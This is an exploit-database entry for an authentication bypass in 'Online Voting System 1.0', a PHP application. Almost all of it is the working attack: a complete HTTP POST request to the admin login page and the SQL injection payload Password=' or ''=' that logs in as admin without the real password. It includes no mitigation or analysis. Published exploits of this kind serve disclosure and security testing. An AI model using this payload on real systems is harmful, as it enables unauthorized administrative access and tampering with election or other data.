Online Voting System 1.0 - Authentication Bypass (SQLi)

# Exploit Title: Online Voting System 1.0 - Authentication Bypass (SQLi)
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Date 30.06.2021
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html
# Version 1.0
# Tested on: Ubuntu 20.04

####################
# Proof of Concept #
####################

POST /Online_voting_system/admin/ HTTP/1.1
Host: localhost
Content-Length: 50
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/Online_voting_system/admin/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=4ad205f46c868d2bc83e368352d0396a
Connection: close

UserName=admin&Password=%27+or+%27%27%3D%27&Login=

###########
# Payload #
###########

UserName=admin
Password=' or ''='